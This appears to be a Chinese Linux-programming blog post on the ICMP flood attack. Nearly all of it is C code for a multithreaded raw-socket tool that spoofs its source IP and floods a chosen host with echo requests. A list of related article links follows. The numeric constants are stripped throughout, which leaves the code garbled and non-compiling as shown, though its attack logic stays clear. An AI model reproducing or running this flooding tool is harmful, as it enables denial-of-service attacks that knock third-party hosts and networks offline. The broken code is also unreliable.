Linux编程之ICMP洪水攻击
- DOS攻击原理
- ICMP的深入理解
- 原始套接字的编程技巧


void DoS_icmp_pack(char* packet)
{
struct ip* ip_hdr = (struct ip*)packet;
struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = ;
ip_hdr->ip_hl = ;
ip_hdr->ip_tos = ;
ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
ip_hdr->ip_id = htons(getpid());
ip_hdr->ip_off = ;
ip_hdr->ip_ttl = ;
ip_hdr->ip_p = PROTO_ICMP;
ip_hdr->ip_sum = ;
ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址 icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = ;
icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << ));//注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}
2.搭建发包线程
void Dos_Attack()
{
char* packet = (char*)malloc(ICMP_PACKET_SIZE);
memset(packet, , ICMP_PACKET_SIZE);
struct sockaddr_in to;
DoS_icmp_pack(packet); to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(); while(alive) //控制发包的全局变量
{
sendto(rawsock, packet, ICMP_PACKET_SIZE, , (struct sockaddr*)&to, sizeof(struct sockaddr));
} free(packet); //记得要释放内存
}
void Dos_Sig()
{
alive = ;
printf("stop DoS Attack!\n");
}
int main(int argc, char* argv[])
{
struct hostent* host = NULL;
struct protoent* protocol = NULL;
int i;
alive = ;
pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包
int err = ; if(argc < )
{
printf("Invalid input!\n");
return -;
} signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME);
if(protocol == NULL)
{
printf("Fail to getprotobyname!\n");
return -;
} PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[]); if(dest == INADDR_NONE)
{
host = gethostbyname(argv[]);
if(host == NULL)
{
printf("Invalid IP or Domain name!\n");
return -;
}
memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
if(rawsock < )
{
printf("Fait to create socket!\n");
return -;
} setsockopt(rawsock, SOL_IP, IP_HDRINCL, "", sizeof("")); printf("ICMP FLOOD ATTACK START\n"); for(i=;i<THREAD_MAX_NUM;i++)
{
err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
if(err)
{
printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
}
} for(i=;i<THREAD_MAX_NUM;i++)
{
pthread_join(attack_thread[i], NULL); //等待线程结束
} printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return ;
}



Linux编程之ICMP洪水攻击的更多相关文章
- Linux编程之PING的实现
PING(Packet InterNet Groper)中文名为因特网包探索器,是用来查看网络上另一个主机系统的网络连接是否正常的一个工具.ping命令的工作原理是:向网络上的另一个主机系统发送ICM ...
- 【转】 linux编程之GDB调试
GDB是一套字符界面的程序集,可以用它在linux上调试C和C++程序,它提供了以下的功能: 1 在程序中设置断点,当程序运行到断点处暂停 2 显示变量的值,可以打印或者监视某个变量,将某个变量的值显 ...
- Linux编程之UDP SOCKET全攻略
这篇文章将对linux下udp socket编程重要知识点进行总结,无论是开发人员应知应会的,还是说udp socket的一些偏僻知识点,本文都会讲到.尽可能做到,读了一篇文章之后,大家对udp so ...
- Linux编程之epoll
现在有这么一个场景:我是一个很忙的大老板,我有100个手机,手机来信息了,我的秘书就会告诉我"老板,你的手机来信息了."我很生气,我的秘书就是这样子,每次手机来信息就只告诉我来信息 ...
- Linux编程之fork函数
在Linux中,fork函数的功能就是在一个进程中创建一个新的进程,当前调用fork函数的进程就是产生的新进程的父进程,新进程在以下也称为子进程.在新进程生成之后就会在系统中开始执行. 函数原型:pi ...
- 【转】Linux编程之UDP SOCKET全攻略
转自:http://www.cnblogs.com/skyfsm/p/6287787.html?utm_source=itdadao&utm_medium=referral 这篇文章将对lin ...
- linux编程之GDB调试
GDB是一套字符界面的程序集,可以用它在linux上调试C和C++程序,它提供了以下的功能: 1 在程序中设置断点,当程序运行到断点处暂停 2 显示变量的值,可以打印或者监视某个变量,将某个变量的值显 ...
- Linux编程之select
select系统调用的的用途是:在一段指定的时间内,监听用户感兴趣的文件描述符上可读.可写和异常等事件. select 机制的优势 为什么会出现select模型? 先看一下下面的这句代码: int i ...
- linux编程之pipe()函数
管道是一种把两个进程之间的标准输入和标准输出连接起来的机制,从而提供一种让多个进程间通信的方法,当进程创建管道时,每次 都需要提供两个文件描述符来操作管道.其中一个对管道进行写操作,另一个对管道进行读 ...
随机推荐
- shell之crontab
一 crontab高级用法 Crontab 主要是在做排程, 通常一般寫法大概都是如下: 0 0 * * * /usr/local/www/awstats/cgi-bin/awstats.sh 這種 ...
- CSDN泄漏数据完整分析
CSDN泄漏数据完整分析 2011-12-22 08:59:26 53391 次阅读 0 条评论 感谢mayee的投递 昨天CSDN的用户数据库被人在网上公布.我下载分析了下里面的数据,得出了一些很有 ...
- java类固定值代替基表写法
package cn.com.mcd.enumeration; public enum AuditStatusEnum { NOTAUDIT("0", "未审核" ...
- Masonry布局框架的使用
Masonry是一个轻量级的布局框架 拥有自己的描述语法 采用更优雅的链式语法封装自动布局 简洁明了 并具有高可读性.比我们使用自动布局,繁琐的约束条件,好用多了.下面我们来学学masonry的使用方 ...
- Docker学习小计
1.自动下载并且创建容器 Now verify that the installation has worked by downloading the ubuntu image and launchi ...
- 微信小程序问题2:未配置
app.json 中未配置当前页面 pages/swipertest/swipertest 请检查后重试.console.error(`PAGE DEFINE ERRORapp.json 中未配置,当 ...
- 中国产品众筹NO.1诞生
中国产品众筹NO.1诞生 淘宝众筹打响新拐点之战 http://bbs.taobao.com/catalog/thread/508895-317240623.htm?spm=1.7274553.199 ...
- 创建sqlserver函数
CREATE FUNCTION getsort (@first varchar(100),@second varchar(100))RETURNS intASBEGIN declare @rv in ...
- firefox 28.0
Ubuntu 安装 firefox 28.0指令: apt-cache show firefox | grep Version sudo apt-get install firefox=28.0+bu ...
- ora-12154
64位oracle,32位pl/sql pl/sql配置完之后,一直报错: ora-12154 配置环境变量ORACLE_HOME:D:\softInstrall\oracle\product\11. ...